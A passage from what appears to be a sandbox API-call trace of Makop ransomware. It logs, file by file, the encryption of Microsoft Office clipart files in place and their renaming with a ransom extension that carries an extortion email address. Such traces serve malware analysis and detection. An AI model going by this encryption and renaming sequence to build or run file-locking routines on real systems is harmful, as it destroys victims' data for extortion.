Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.957] GetProcessHeap () returned 0x48a0000 [0118.958] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.958] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.958] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.958] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.958] GetProcessHeap () returned 0x48a0000 [0118.958] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.958] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.958] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.964] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.964] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.965] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.965] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.965] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.965] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.965] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x43c0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x43c0, lpOverlapped=0x0) returned 1 [0118.967] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x43c0, dwBufLen=0x43c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x43c0) returned 1 [0118.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x43c0, lpOverlapped=0x0) returned 1 [0118.968] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.968] SetEndOfFile (hFile=0xf0) returned 1 [0118.974] GetProcessHeap () returned 0x48a0000 [0118.975] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.975] GetProcessHeap () returned 0x48a0000 [0118.975] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.975] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103058.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103058.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.976] CloseHandle (hObject=0xf0) returned 1 [0118.977] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1 [0118.977] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0118.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0118.977] GetProcessHeap () returned 0x48a0000 [0118.977] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0118.978] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0118.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0118.978] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0118.983] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.983] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.983] GetProcessHeap () returned 0x48a0000 [0118.983] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0118.983] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0118.983] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0118.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0118.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0118.984] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0118.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0118.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0118.984] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0118.985] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0118.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.985] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3264, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3264, lpOverlapped=0x0) returned 1 [0118.986] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3270, dwBufLen=0x3270 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3270) returned 1 [0118.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3270, lpOverlapped=0x0) returned 1 [0118.987] CryptDestroyKey (hKey=0x48c7128) returned 1 [0118.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.987] SetEndOfFile (hFile=0xf0) returned 1 [0118.994] GetProcessHeap () returned 0x48a0000 [0118.994] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0118.995] GetProcessHeap () returned 0x48a0000 [0118.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0118.995] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0118.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0118.996] CloseHandle (hObject=0xf0) returned 1 [0118.996] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1 [0118.996] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0118.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.010] GetProcessHeap () returned 0x48a0000 [0119.010] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.010] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.010] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.015] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.015] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.015] GetProcessHeap () returned 0x48a0000 [0119.015] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.015] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.015] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.015] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.015] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.016] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.016] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.016] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.016] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.017] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.017] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.017] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.017] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaf94, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaf94, lpOverlapped=0x0) returned 1 [0119.019] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xafa0, dwBufLen=0xafa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xafa0) returned 1 [0119.019] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xafa0, lpOverlapped=0x0) returned 1 [0119.020] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.020] SetEndOfFile (hFile=0xf0) returned 1 [0119.028] GetProcessHeap () returned 0x48a0000 [0119.028] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.028] GetProcessHeap () returned 0x48a0000 [0119.028] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.028] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.037] CloseHandle (hObject=0xf0) returned 1 [0119.037] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1 [0119.037] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63 [0119.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.038] GetProcessHeap () returned 0x48a0000 [0119.038] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.038] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.038] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.038] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.043] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.043] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.043] GetProcessHeap () returned 0x48a0000 [0119.043] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.043] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.043] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.043] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.043] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.044] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.044] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.044] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.044] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.044] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.044] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.044] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1714, lpOverlapped=0x0) returned 1 [0119.046] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1720, dwBufLen=0x1720 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1720) returned 1 [0119.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.046] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1720, lpOverlapped=0x0) returned 1 [0119.047] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.047] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.047] SetEndOfFile (hFile=0xf0) returned 1 [0119.054] GetProcessHeap () returned 0x48a0000 [0119.054] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.054] GetProcessHeap () returned 0x48a0000 [0119.054] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.054] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.056] CloseHandle (hObject=0xf0) returned 1 [0119.056] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, 